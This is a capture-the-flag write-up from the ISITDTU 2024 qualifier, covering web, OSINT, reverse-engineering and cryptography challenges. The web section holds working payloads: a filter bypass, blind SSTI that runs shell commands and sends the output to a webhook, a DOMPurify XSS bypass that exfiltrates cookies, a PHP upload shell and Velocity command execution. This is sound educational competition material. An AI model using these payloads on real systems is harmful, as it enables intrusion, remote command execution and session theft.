Contents

Writeups ISITDTU 2024 (Quals) - ph1sher

We participated in the ISITDTU CTF 2024 competition, finishing in 15th place out of 315 teams with 21 challenges successfully solved.

“Everything is working fine, except for the crypto guys” - Quote by sondt

https://hackmd.io/_uploads/SJq-djie1e.png

Web

Another one

https://hackmd.io/_uploads/B11n6cjxkg.png

Review the src code

@app.route('/register', methods=['POST'])
def register():
    json_data = request.data
    if "admin" in json_data:
        return jsonify(message="Blocked!")
    data = ujson.loads(json_data)
    username = data.get('username')
    password = data.get('password')
    role = data.get('role')
    
    if role !="admin" and role != "user":
        return jsonify(message="Never heard about that role!")
    
    if username == "" or password == "" or role == "":
        return jsonify(messaage="Lack of input")
    
    if register_db(connection, username, password, role):
        return jsonify(message="User registered successfully."), 201
    else:
        return jsonify(message="Registration failed!"), 400

  • The /register endpoint blocks any registration attempts that include the string “admin” in the raw JSON data (json_data).
  • However, after this check, it uses ujson.loads(json_data) to parse the JSON.
  • This means if we can encode “admin” in a way that it’s not directly in json_data, we can bypass the check.
{"username":"a","password":"a","role": "\u0061\u0064\u006d\u0069\u006e"}

https://hackmd.io/_uploads/HJ2uC9slke.png

Login with this account to obtain JWT Token

https://hackmd.io/_uploads/H1tn09oe1g.png

@app.route('/render', methods=['POST'])
def dynamic_template():
    token = request.cookies.get('jwt_token')
    if token:
        try:
            decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            role = decoded.get('role')

            if role != "admin":
                return jsonify(message="Admin only"), 403

            data = request.get_json()
            template = data.get("template")
            rendered_template = render_template_string(template)
            
            return jsonify(message="Done")

        except jwt.ExpiredSignatureError:
            return jsonify(message="Token has expired."), 401
        except jwt.InvalidTokenError:
            return jsonify(message="Invalid JWT."), 401
        except Exception as e:
            return jsonify(message=str(e)), 500
    else:
        return jsonify(message="Where is your token?"), 401

  • The /render endpoint is accessible only to users with the role “admin”.
  • It accepts a template parameter and uses render_template_string(template) to render it.
  • The rendered output isn’t directly returned, but exceptions (errors) include messages that can be manipulated.

=> Blind SSTI => To view the command output we can create a webhook and send that to this endpoint

{
  "template": "{{ url_for.__globals__['__builtins__']['__import__']('urllib2').urlopen('https://webhook.site/0139531b-9559-42d0-a71a-b43e039822c2/?flag=' + url_for.__globals__['os'].popen('ls').read()) }}"
}

https://hackmd.io/_uploads/BJ0d1iieyl.png

The payload running the ls command returns an error because the output contains control characters -> we can see the name of the flag file is gnp6kw338gg6

Now simply run the command cat gnp6kw338gg6

https://hackmd.io/_uploads/H10Fbiilye.png

https://hackmd.io/_uploads/HkK5xsig1g.png

ISITDTU{N0W_y0u_kn0w_h0w_T0_m4k3_1t_r3Fl3ct3d!!}

X Éc Éc

https://hackmd.io/_uploads/S15h6cigkx.png

The version used is DOMPurify 3.1.6., in this tweet https://x.com/kinugawamasato/status/1843687909431582830 the payload has been fixed in DOMPurify version 3.1.7.

=> This is most likely the solution payload

Tried and successfully triggered XSS

https://hackmd.io/_uploads/rJhSZojgkg.png

<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=alert(document.domain)>">

Upgraded payload a bit for easier use

<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=eval(atob('base 64 payload'))>">

And encode base64 this js script

fetch('https://webhook.site/0139531b-9559-42d0-a71a-b43e039822c2?cookie=' + encodeURIComponent(document.cookie))

Save note and submit link for bot -> get the flag

https://hackmd.io/_uploads/Sy6rGjig1l.png

ISITDTU{d364c13b91d3bd0ecb3ffed49b229fc06b1208e8}

S1mple

https://hackmd.io/_uploads/rJSk0qig1e.png

FROM servertest2008/simplehttpserver:1.4

EXPOSE 80
RUN echo "flag_here" > /.htpasswd
CMD ["/bin/bash", "/start.sh"]

In docker image there are echo fake flag commands. This could be a hint of Confusion Attacks in apache

https://hackmd.io/_uploads/SyhyKoieye.png

Read more here: https://blog.orange.tw/posts/2024-08-confusion-attacks-en/

RewriteRule Flags used

<VirtualHost *:80>
    DocumentRoot /var/www/html/src

    <FilesMatch "\.php$">
        SetHandler  "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
    </FilesMatch>

    <Proxy "fcgi://localhost/" enablereuse=on max=10>
    </Proxy>

    <Directory /var/www/html/src/>
        Options FollowSymLinks
        AllowOverride All
    </Directory>


    RewriteEngine On
    RewriteRule  ^/website-(.*).doc$   /$1.html

    RewriteCond %{REQUEST_METHOD} OPTIONS
    RewriteRule ^(.*)$ $1 [R=200,L]

    ErrorLog ${APACHE_LOG_DIR}/error_php.log
    CustomLog ${APACHE_LOG_DIR}/access_php.log combined

</VirtualHost>

Investigate the provided Docker image. Realize that the root user has been acting suspiciously

...
git clone https://github.com/anouarbensaad/vulnx.git
...
mkdir cat VulnX.php
...
touch shell.php
chmod 777 shell.php 
...

Check folder /usr/share/vulnx/

https://hackmd.io/_uploads/SygnW5jixJx.png

Found that the file /usr/share/vulnx/shell/VulnX.php can be exploited to upload

<html>
</html>

<?php

error_reporting(0);
set_time_limit(0);

if($_GET['Vuln']=="X"){
echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = "uploads/"; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

}
?>

However, the owner of these folders is root. While if using the web to upload, it will be in the ww-data user. However, the file /usr/share/vulnx/shell/uploads/shell.html is a “world writable” file.

https://hackmd.io/_uploads/rJ3T5oslye.png

=> We now can use RewriteRule ^/website-(.*).doc$ /$1.html and VulnX.php to upload a file to overwrite the shell.html file. But how to use the uploaded file to read the flag at .htpasswd.

Here the admin.php file

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Welcome to the Admin Page</h1>

<?php
error_reporting(0);

if (isset($_GET['pages']) && !empty($_GET['pages']))
{
$page = "./pages/" . $_GET['pages'] . ".html";
include($page);
}
else
{
echo '<a href="?pages=1"> Link </a>';
}
?>
</body>
</html>

Contains an LFI vulnerability. However, to access admin.php, we need to go through Basic Auth due to the .htaccess file. We can bypass basic auth by using admin.php%3Fooo.php like in orange’s blog. And then use this LFI vuln to view the shell.html file with bad content to get the flag from .htpasswd

Now we got the chain: Upload shell.html -> view this file using admin.php

https://hackmd.io/_uploads/BkjcWnjl1l.png

https://hackmd.io/_uploads/ByiaZ2olJg.png

Something happened that I can’t exploit on the server anymore. Only have the screenshot of the flag taken by my teammate @teebow1e

https://hackmd.io/_uploads/S1zSMnsgyl.png

hihi

https://hackmd.io/_uploads/SyR-09ilJx.png

This website uses spring boot and Velocity

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>org.apache.velocity.tools</groupId>
        <artifactId>velocity-tools-generic</artifactId>
        <version>3.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.velocity</groupId>
        <artifactId>velocity-engine-core</artifactId>
        <version>2.3</version>
    </dependency>
</dependencies>
@PostMapping(value = "/")
    @ResponseBody
    public String hello(@RequestParam("data") String data) throws IOException {
        String hexString = new String(Base64.getDecoder().decode(data));
        byte[] byteArray = Encode.hexToBytes(hexString);
        ByteArrayInputStream bis = new ByteArrayInputStream(byteArray);
        ObjectInputStream ois = new SecureObjectInputStream(bis);
        String name;
        try{
            Users user = (Users) ois.readObject();
            name= user.getName();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        if(name.toLowerCase().contains("#")){
            return "But... For what?";
        }
        String templateString = "Hello, " + name+". Today is $date";
        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        LocalDate date = LocalDate.now();
        DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy");
        String formattedDate = date.format(formatter);
        ctx.put("date", formattedDate);
        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);
        return out.toString();
    }

The MainController class controls all the logic of the website. Basically, the website will work like this:

  • A GET request at / that returns a simple “hey” string.
  • A POST request at /, which receives a data parameter that undergoes base64 decoding, hex decoding, and deserialization into a Users object. -> Then use the getName method to get the username.
  • The username will be put into a template and returned to the user

-> Can be SSTI. There are many articles about velocity SSTI but all of them need to use #set to create a variable then getClass and start using other java Classes from that.

But server has blocked the # character -> need a variable available to trigger the error. And right in MainController there is a variable $data

This is my the payload serialize, hex encode, base64 encode

public class SerializationTest {
    public static void main(String[] args) {
        try {
            // Step 1: Create a Users object and set the name
            Users user = new Users();
            user.setName("payload");

            // Step 2: Serialize the Users object
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(user);
            oos.close();

            byte[] serializedBytes = baos.toByteArray();

            // Step 3: Convert serialized bytes to hex
            StringBuilder hexString = new StringBuilder();
            for (byte b : serializedBytes) {
                hexString.append(String.format("%02x", b));
            }

            // Step 4: Encode the hex string in base64
            String base64Encoded = Base64.getEncoder().encodeToString(hexString.toString().getBytes());
            System.out.println("Base64 Encoded Serialized Object: " + base64Encoded);

            // Step 5: Decode the base64 string, convert back from hex, and deserialize
            String decodedHex = new String(Base64.getDecoder().decode(base64Encoded));
            byte[] decodedBytes = Encode.hexToBytes(decodedHex);
            ByteArrayInputStream bais = new ByteArrayInputStream(decodedBytes);
            ObjectInputStream ois = new SecureObjectInputStream(bais);

            // Step 6: Deserialize the object
            Users deserializedUser = (Users) ois.readObject();
            System.out.println("Deserialized User Name: " + deserializedUser.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Again, the Flag file is named random -> need to run ls command to know the file name. Use this payload

user.setName("new String($date.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getInputStream().readAllBytes())");

https://hackmd.io/_uploads/B1YJIjseJl.png

Convert array to readable ASCII characters:

https://hackmd.io/_uploads/rkA8IojxJx.png

So the name of the flag file is m62dyeu1gr3t. Now read flag with payload

user.setName("$date.getClass().forName('java.nio.file.Files').readAllLines($date.getClass().forName('java.nio.file.Paths').get('m62dyeu1gr3t'))");

https://hackmd.io/_uploads/HJCsLise1e.png

ISITDTU{We1come_t0_1s1tDTU_CTF}

niceray

https://hackmd.io/_uploads/BJ7mCqig1l.png

This is a Liferay challenge, quick look at the source code reveals the version of this application:

https://hackmd.io/_uploads/By0mQp1Zkl.png

This Liferay version has a deserialization CVE:

https://hackmd.io/_uploads/rJrcQ6kbkl.png

PoC: https://gist.github.com/testanull/4bb77519acf2c8e919f8d9b015eda880

However, author might have considered this CVE an unintended solution, therefore, this can not be exploited remotely:

https://hackmd.io/_uploads/HyxJEaJ-yg.png

However, if I don’t exploit JSONWS, I can still refer to another blog (which have PoC): https://sec.vnpt.vn/2019/02/liferay-bypass-story-part-2/

Using the endpoint #/../api/liferay, I can still exploit by sending payload as raw payload (bytes) from ysoserial:

https://hackmd.io/_uploads/rkJv4pJb1e.png

Osint

Sparks

https://hackmd.io/_uploads/SJ1Y65jlJl.png

In this challenge, we need to identify the location where the video of burning buildings was filmed using a TikTok link …with precise coordinates.

https://www.tiktok.com/@juleko_o/video/7206026807483796741

In the video description of “Cháy toà nhà chọc trời ở Trung Quốc” along with the tag #china, it can be inferred that this location is somewhere in China.

https://hackmd.io/_uploads/HkGltijl1e.png

Since this is HOT information, we can search for details based on news articles on Google.

https://hackmd.io/_uploads/r1FS2ije1g.png

Fortunately, the publication date is March 3, 2023 (matching the video upload date), which allows me to confidently confirm that the article refers to this particular building.

TPO - A large fire broke out at 11:11 p.m. on March 2 at a high-rise building under construction in the busy commercial district of Tsim Sha Tsui (Hong Kong, China). According to local authorities, as of the morning of March 3, no casualties were recorded. Police said about 130 people living in the nearby Star Mansion, Far East Mansion and Chungking Mansions have been evacuated.,

We can search forTsim Sha Tsui, Star Mansion, Far East Mansion, and Chungking Mansions on Google Maps to narrow down the area. Additionally, by looking at other news articles, it appears the building is located on Middle Road.

https://hackmd.io/_uploads/SyH1ynie1e.jpg

At the angle of the video, I think the cameraman will be standing on top of a certain building behind the burning building.

https://hackmd.io/_uploads/H1APJ2sl1e.png

ISITDTU{22.2966, 114.1735}

Home sweet home

https://hackmd.io/_uploads/rkpoJ2ig1g.png

We have just received information from our spy that Arlen is also using an alias “arlen.nnnnnnnn”. From this information, can you track down his home address?

So we need to search for information on arlen.nnnnnnnn on social media because, in the challenge Two Steps Ahead, it was mentioned that Arlen is addicted to social media. After searching, we found this guy’s Instagram account.

https://hackmd.io/_uploads/SkEAA2sl1g.png

We have a total of four posts. What information can we gather from these four hints?

https://hackmd.io/_uploads/BkMmypsekl.png

https://hackmd.io/_uploads/Bkgvkpigke.png

In this post, I found a house. After using Google Images to identify it, I confirmed it as Centre culturel Calixa-Lavallée in Quebec, Canada, with the Google Maps link here. So, his house is about a 20-minute bike ride from this location.

https://hackmd.io/_uploads/Bk5wepjlJe.png

In this post, we can infer that his house is located near a school.

https://hackmd.io/_uploads/BJky-pixkl.png

In this post, he mentions that a pet shop is very close to his house, so we decided to use Google Images to identify the species of frog featured in the post and determine which shop sells it in Canada.

https://hackmd.io/_uploads/rJPV-pse1g.png

So, I used ChatGPT to search for stores in Quebec, Canada, that sell this type of frog, and Magazoo is the pet store that meets this criterion.

https://hackmd.io/_uploads/rkSHGail1e.png

https://hackmd.io/_uploads/Sy60zpig1l.png

https://maps.app.goo.gl/8KsQaAvVqs1BAg1z6. Checking Time?!

https://hackmd.io/_uploads/B1KbNpigkx.png

ISITDTU{45.547, -73.602}

Reverse Engineering

re01

https://hackmd.io/_uploads/rJcT1noeyl.png

This challenge basically hides íts actual flow in TLS Callbacks functions (call before main):

https://hackmd.io/_uploads/BJRbe3ixJe.png

I just have to patch the IsDebuggerPresent() and debug. Here is the solve script:

s = [0x7C,0x66,0x7C,0x61,0x71,0x61,0x60,0x4E,0x76,0x5A,0x5B,0x52,0x47,0x54,0x41,0x46,0x6A,0x6C,0x5A,0x40,0x6A,0x66,0x5A,0x59,0x43,0x50,0x51,0x6A,0x61,0x79,0x66,0x6A,0x76,0x54,0x59,0x59,0x57,0x54,0x56,0x5E,0x6A,0x67,0x50,0x5,0x4,0x6A,0x7D,0x54,0x43,0x50,0x6A,0x73,0x40,0x5B,0x6A,0x0F,0x1C,0x48]

print("".join(chr(c ^ 0x35) for c in s))

ISITDTU{Congrats_You_Solved_TLS_Callback_Re01_Have_Fun_:)}

animal

https://hackmd.io/_uploads/HJgOeghogJl.png

This challenge will load the check_flag from stack after some calculation so IDA cannot analyze and decompile it. So I have to debug to this function and analyze statically. To get into this funtion, our input must be 36 characters with some conditions:

input[8] = 'a'
input[17] = 'c'
input[18] = 'a'
input[19] = 't'
input[33] = input[34]

Here is a piece of the check_flag function after I debug into it:

https://hackmd.io/_uploads/BkeiMnieJe.png

Those instructions before jnz looks like equations so I write down into my note:

a[25] * a[27] * a[32] + a[1] * a[8] - a[29] == 0x83872
a[4] * a[10] * a[20] - a[6] - a[11] + a[7] == 0xA271A
a[31] * (a[16] - 1) - a[22] * a[30]  + a[14] == -2945
a[3] - a[9] - a[18] - a[11] - a[4] + a[33] == -191
a[29] * a[25] - a[8] + a[18] + a[30] + a[1] == 0x12F5
a[5] - a[2] * a[23] * a[14] * a[7] + a[13] == -86153321
a[10] * a[27] + a[12] * a[5] * a[9] + a[13] == 0xD54D2
a[21] * a[9] * a[18] - a[6] + a[3] + a[22] == 0x6E43C
a[23] * a[32] - a[4] + a[24] + a[34] + a[21] == 0x2486
a[17] - a[19] - a[26] - a[6] + a[35] + a[24] == 0x1B
a[19] * a[23] - a[3] + a[15] + a[13] + a[14] == 0x2BEF
a[12] * a[7] - a[15] - a[21] + a[17] + a[2] == 0x33F1
a[28] - a[0] - a[20] + a[35] + a[26] + a[8] == 0x10A
a[28] * a[12] - a[1] + a[0] + a[17] + a[2] == 0x28B6
a[19] * a[5] - a[34] - a[11] + a[15] + a[22] == 0x269B
(1 - a[20]) * a[16] + a[33] * a[10] - a[0] == -5604

a[33] == a[34]
2 * a[8] == 0xC2
a[0] == 'I'
a[1] == 'S'
a[2] == 'I'
a[3] == 'T'
a[4] == 'D'
a[5] == 'T'
a[6] == 'U'
a[7] == '{'
a[17] == 'c'
a[18] == 'a'
a[19] == 't'
a[35] == '}'

r9 = a[0]
r10 = a[33] * a[10]
r11 = a[15]
r12 = a[10]
r13 = a[22]
r14 = a[12]
r15 = a[20]
ebp = a[8]
esi = a[1]
edi = a[2]
eax = a[16]
ebx = a[17]
ecx = (1 - a[20]) * a[16] + a[33] * a[10] - a[0] == 0xFFFFEA1C
edx = a[28] * a[12] - a[1] + a[0] + a[17] + a[2] == 0x28B6
[rsp+40h] = edx = a[35]
[rsp+38h] = r14 = a[26]

The last step is to use z3-solver to find the flag. Script:

from z3 import *

a = [Int(f'a[{i}]') for i in range(36)]

solver = Solver()

for i in range(36):
    solver.add(a[i] >= 0, a[i] <= 128)

solver.add(a[25] * a[27] * a[32] + a[1] * a[8] - a[29] == 0x83872)
solver.add(a[4] * a[10] * a[20] - a[6] - a[11] + a[7] == 0xA271A)
solver.add(a[31] * (a[16] - 1) - a[22] * a[30] + a[14] == -2945)
solver.add(a[3] - a[9] - a[18] - a[11] - a[4] + a[33] == -191)
solver.add(a[29] * a[25] - a[8] + a[18] + a[30] + a[1] == 0x12F5)
solver.add(a[5] - a[2] * a[23] * a[14] * a[7] + a[13] == -86153321)
solver.add(a[10] * a[27] + a[12] * a[5] * a[9] + a[13] == 0xD54D2)
solver.add(a[21] * a[9] * a[18] - a[6] + a[3] + a[22] == 0x6E43C)
solver.add(a[23] * a[32] - a[4] + a[24] + a[34] + a[21] == 0x2486)
solver.add(a[17] - a[19] - a[26] - a[6] + a[35] + a[24] == 0x1B)
solver.add(a[19] * a[23] - a[3] + a[15] + a[13] + a[14] == 0x2BEF)
solver.add(a[12] * a[7] - a[15] - a[21] + a[17] + a[2] == 0x33F1)
solver.add(a[28] - a[0] - a[20] + a[35] + a[26] + a[8] == 0x10A)
solver.add(a[28] * a[12] - a[1] + a[0] + a[17] + a[2] == 0x28B6)
solver.add(a[19] * a[5] - a[34] - a[11] + a[15] + a[22] == 0x269B)
solver.add((1 - a[20]) * a[16] + a[33] * a[10] - a[0] == -5604)

solver.add(a[33] == a[34])
solver.add(2 * a[8] == 0xC2)
solver.add(a[0] == ord('I'))
solver.add(a[1] == ord('S'))
solver.add(a[2] == ord('I'))
solver.add(a[3] == ord('T'))
solver.add(a[4] == ord('D'))
solver.add(a[5] == ord('T'))
solver.add(a[6] == ord('U'))
solver.add(a[7] == ord('{'))
solver.add(a[17] == ord('c'))
solver.add(a[18] == ord('a'))
solver.add(a[19] == ord('t'))
solver.add(a[35] == ord('}'))

if solver.check() == sat:
    model = solver.model()
    result = [model[a[i]].as_long() for i in range(36)]
    result_str = ''.join(chr(c) for c in result)
    print("Solution for array a:", result)
    print("Decoded string:", result_str)
else:
    print("No solution found.")

# Solution for array a: [73, 83, 73, 84, 68, 84, 85, 123, 97, 95, 103, 48, 108, 100, 101, 110, 95, 99, 97, 116, 95, 49, 110, 95, 121, 48, 117, 114, 95, 97, 114, 101, 97, 33, 33, 125]      
# Decoded string: ISITDTU{a_g0lden_cat_1n_y0ur_area!!}

ISITDTU{a_g0lden_cat_1n_y0ur_area!!}

re02

https://hackmd.io/_uploads/HkaixoolJx.png

I recognized this as a challenge involving a NES (Nintendo) file, so I referred to several write-ups, particularly from Flare-On 2019 (challenge 6), which seemed quite similar but unfortunately doesn’t seem to provide much help for me in this case.

In a challenging moment, we discovered an extension for the Ghidra tool at https://www.retroreversing.com/nes-ghidra

https://hackmd.io/_uploads/H138Gsol1x.png

we can see that the following conditions are simple equations, which we can solve using Z3 to find the values for IDAT_XXX

import z3

DAT_0300 = z3.BitVec('DAT_0300', 8)
DAT_0301 = z3.BitVec('DAT_0301', 8)
DAT_0302 = z3.BitVec('DAT_0302', 8)
DAT_0303 = z3.BitVec('DAT_0303', 8)
DAT_0304 = z3.BitVec('DAT_0304', 8)
DAT_0305 = z3.BitVec('DAT_0305', 8)
DAT_0306 = z3.BitVec('DAT_0306', 8)
DAT_0307 = z3.BitVec('DAT_0307', 8)
DAT_0308 = z3.BitVec('DAT_0308', 8)
DAT_0309 = z3.BitVec('DAT_0309', 8)
DAT_030a = z3.BitVec('DAT_030a', 8)
DAT_030b = z3.BitVec('DAT_030b', 8)
DAT_030c = z3.BitVec('DAT_030c', 8)
DAT_030d = z3.BitVec('DAT_030d', 8)
DAT_030e = z3.BitVec('DAT_030e', 8)
DAT_030f = z3.BitVec('DAT_030f', 8)

solver = z3.Solver()

solver.add(DAT_0300 + DAT_0301 + DAT_0302 == ord('J'))
solver.add(DAT_0301 + DAT_0302 + DAT_0303 == ord('D'))
solver.add(DAT_0302 + DAT_0303 + DAT_0304 == ord(';'))
solver.add(DAT_0303 + DAT_0304 + DAT_0305 == ord('C'))
solver.add(DAT_0304 + DAT_0305 + DAT_0306 == ord('C'))
solver.add(DAT_0305 + DAT_0306 + DAT_0307 == ord('?'))
solver.add(DAT_0306 + DAT_0307 + DAT_0308 == ord('B'))
solver.add(DAT_0307 + DAT_0308 + DAT_0309 == ord('='))
solver.add(DAT_0308 + DAT_0309 + DAT_030a == ord('C'))
solver.add(DAT_0309 + DAT_030a + DAT_030b == ord('?'))
solver.add(DAT_030a + DAT_030b + DAT_030c == ord('J'))
solver.add(DAT_030b + DAT_030c + DAT_030d == ord('Q'))
solver.add(DAT_030c + DAT_030d + DAT_030e == ord('J'))
solver.add(DAT_030d + DAT_030e + DAT_030f == ord('D'))

for var in [DAT_0300, DAT_0301, DAT_0302, DAT_0303, DAT_0304, 
            DAT_0305, DAT_0306, DAT_0307, DAT_0308, DAT_0309, 
            DAT_030a, DAT_030b, DAT_030c, DAT_030d, DAT_030e, DAT_030f]:
    solver.add(var >= 0, var <= 255)

if solver.check() == z3.sat:
    model = solver.model()
    result = [model[var].as_long() for var in [DAT_0300, DAT_0301, DAT_0302, DAT_0303, 
                                                DAT_0304, DAT_0305, DAT_0306, DAT_0307, 
                                                DAT_0308, DAT_0309, DAT_030a, DAT_030b, 
                                                DAT_030c, DAT_030d, DAT_030e, DAT_030f]]
    print("Values for DAT_030x:", result)
    
    flag = ''.join(chr(val) for val in result)
    print("Flag:", flag)
else:
    print("No solution found.")

In the result of this Z3 solver, we can choose tuanlinhlinhtuan because it has meaning.

https://hackmd.io/_uploads/HJ8L7jsxkl.png

Can see some char: ISITDTU{, LAB_PPUDATA_8567 like as printf

We can observe a loop that iterates 43 times, processing each character of the data set with the DAT value we just found as tuanlinhlinhtuan.

The pointer to the data was named DAT_0310 in Ghidra so I checked the memory viewer in Mesen at address 0310 and found this:

https://hackmd.io/_uploads/rkl5Qjiekg.png

Solve Script

hex_data = [
    0x20, 0x1D, 0x13, 0x01, 0x1B, 0x36, 0x0C, 0x09, 0x0F, 0x02, 0x31, 0x1C, 0x1C, 0x10, 0x3E, 0x00,
    0x11, 0x06, 0x15, 0x0B, 0x08, 0x36, 0x07, 0x0E, 0x33, 0x27, 0x2B, 0x3B, 0x2B, 0x1D, 0x00, 0x18,
    0x11, 0x2A, 0x07, 0x1B, 0x02, 0x07, 0x00, 0x06, 0x33, 0x53, 0x47
]

xor_key = "tuanlinhlinhtuan"

result = ""

for i in range(len(hex_data)):
    xor_value = hex_data[i] ^ ord(xor_key[i % len(xor_key)])
    result += chr(xor_value) 

print("Result after XOR:", result)
# Result after XOR: Throw_back_the_nested_if_NES_have_funnnn_:)
ISITDTU{Throw_back_the_nested_if_NES_have_funnnn_:)}

The Chamber of Flag

https://hackmd.io/_uploads/r19kl2olkl.png

The first thing we have to bypass is the first check pass after we chooses Login option

https://hackmd.io/_uploads/r1TjQtRxke.png

We found the code at here, it use sha256 algorithm to encrypt the password

https://hackmd.io/_uploads/Bkc0EtAxJl.png

Here is the data that our input was compared to after being encrypted:

https://hackmd.io/_uploads/S1GXZpyWkl.png

Out input has just 6 characters which are digits so my teammate wrote a script to bruteforce and then we got a password: 808017

brute_force.py:

import hashlib
import itertools
import string

target_hash = "26F2D45844BFDBC8E5A2AE67149AA6C50E897A2A48FBF479D1BFB9F0D4E24544"

charset = string.digits

for candidate in itertools.product(charset, repeat=6):
    candidate_str = ''.join(candidate)
    candidate_hash = hashlib.sha256(candidate_str.encode()).hexdigest().upper()
    
    if candidate_hash == target_hash:
        print("Found matching string:", candidate_str)
        break
else:
    print("No match found.")

In the next step, i try 5 options but only the option flag looks explorable, and finally i found the piece of code

https://hackmd.io/_uploads/HkIQ8KCgkg.png

After patching and debugging, I found that the decrypt_flag function is used to decrypt some data using AES CBC mode with key and iv passed in argument. Here is the key and iv:

https://hackmd.io/_uploads/HJzLQo1-kx.png

https://hackmd.io/_uploads/BktOmjJbJg.png

But somehow the buffer of the flag isn’t true, and we decide to look for it in the whole program, and when i look in the buffer szNiceCatchFlag, i found some bytes that may work, and they have 0xCAFE each 16 bytes, so i decide to combine 16 bytes into the full buffer 64 bytes

https://hackmd.io/_uploads/rJfBwtCxke.png

from Crypto.Cipher import AES
from binascii import unhexlify


key_hex = "26F2D45844BFDBC8E5A2AE67149AA6C50E897A2A48FBF479D1BFB9F0D4E24544"
iv_hex = "FF07ECD94D4435DB29DA952F2FC753C4"
ciphertext = [162, 175, 250, 94, 179, 80, 150, 111, 168, 185, 13, 43, 110, 149, 211, 85, 
              5, 201, 8, 139, 144, 81, 167, 197, 206, 129, 184, 128, 148, 144, 155, 34, 
              176, 70, 176, 126, 50, 165, 109, 161, 123, 174, 99, 29, 232, 51, 198, 239, 
              207, 205, 23, 57, 50, 9, 213, 10, 17, 221, 246, 30, 111, 48, 166, 3]


key = unhexlify(key_hex)
iv = unhexlify(iv_hex)


ciphertext_bytes = bytes(ciphertext)


cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext_bytes)


print("Plaintext:", plaintext)

And we got this

https://hackmd.io/_uploads/BksKwYRlkl.png

Cryptography

ShareMixer1

It’s a SSS cryptosystem but the input is shuffled

https://hackmd.io/_uploads/r1JGYsieJl.png

Along with that, we can query at most 256 numbers

https://hackmd.io/_uploads/SJbrKsilke.png

To address the challenge, a straightforward approach is to send a sequence of 32 unique numbers with the following replication pattern: five numbers appear once, four numbers appear twice, three numbers appear three times, two numbers appear four times, two numbers appear five times, and all the remaning numbers appears once. With that, we need to bruteforce $5!*4!*3!*2!*2!$ in total to get the correct order. At the end, we get 32 corrected equations and a bit of linear algebra to solve

import hashlib
import sys
from sage.all import *
from pwn import *
import itertools
from Crypto.Util.number import *

r = remote('35.187.238.100',5001)
r.recvuntil(b'suffix that: \n')
prefix = r.recvline()[16:32].decode()
print(prefix)

def find_suffix(prefix, target="000000"):
    for length in range(1, 6):  
        for suffix in itertools.product(string.ascii_letters + string.digits, repeat=length):
            suffix = ''.join(suffix)
            attempt = prefix + suffix
            hashed_value = hashlib.sha256(attempt.encode()).hexdigest()
            if hashed_value.startswith(target):
                return suffix
    return None


i = 0
s = find_suffix(prefix)
r.sendlineafter(b': ', s.encode())
l = 32

r.recvuntil(b'=')
p = eval(r.recvline())

R = Zmod(p)

choices = [i for i in range(1,l+1)]
querry = ''
for _ in range(5):
    querry += str(choices[_]) + " "

for _ in range(5, 5 + 4):
    querry += (str(choices[_]) + " ") * 2
    
for _ in range(9, 9 + 3):
    querry += (str(choices[_]) + " ") * 3
    
for _ in range(12, 12 + 2):
    querry += (str(choices[_]) + " ") * 4
    
for _ in range(14, 14 + 2):
    querry += (str(choices[_]) + " ") * 5
count = 6
for _ in range(16, 32):
    querry += (str(choices[_]) + " ") * count
    count += 1
    
xs = list(map(lambda x: int(x) % p, querry.split()))
m_query = {}
for x in xs:
    if x in m_query:
        m_query[x] += 1
    else:
        m_query[x] = 1


r.sendlineafter(b': ', querry.encode())

r.recvuntil(b'=')
shares = eval(r.recvline())

m = {}
for x in shares:
    if x in m:
        m[x] += 1
    else:
        m[x] = 1

# Sort the dictionary based on values
ordered_map = dict(sorted(m.items(), key=lambda item: item[1]))
M = [[power_mod(x,l - 1 - i,p) for i in range(l)] for x in range(1,l + 1)]
M = Matrix(R, M)
# Separate keys based on their count values
value = [k for k, v in ordered_map.items() if v > 5]
value1 = [k for k, v in ordered_map.items() if v == 1]
value2 = [k for k, v in ordered_map.items() if v == 2]
value3 = [k for k, v in ordered_map.items() if v == 3]
value4 = [k for k, v in ordered_map.items() if v == 4]
value5 = [k for k, v in ordered_map.items() if v == 5]
iterate = 0
# Iterate over permutations and combine them
for a in itertools.permutations(value1):
    for b in itertools.permutations(value2):
        for c in itertools.permutations(value3):
            for d in itertools.permutations(value4):
                for e in itertools.permutations(value5):
                    # Combine all permutations into a single list
                    shares_combined = vector(R,list(a) + list(b) + list(c) + list(d) + list(e) + value)
                    
                    res = M.solve_right(shares_combined)
                    print(iterate)
                    iterate += 1
                    for r in res:
                        if b'ISITDTU{' in long_to_bytes(int(r)):
                            print(long_to_bytes(int(r)))
                            exit(0)
ISITDTU{Mix1_a5850c98ad583157f0}

ShareMixer2

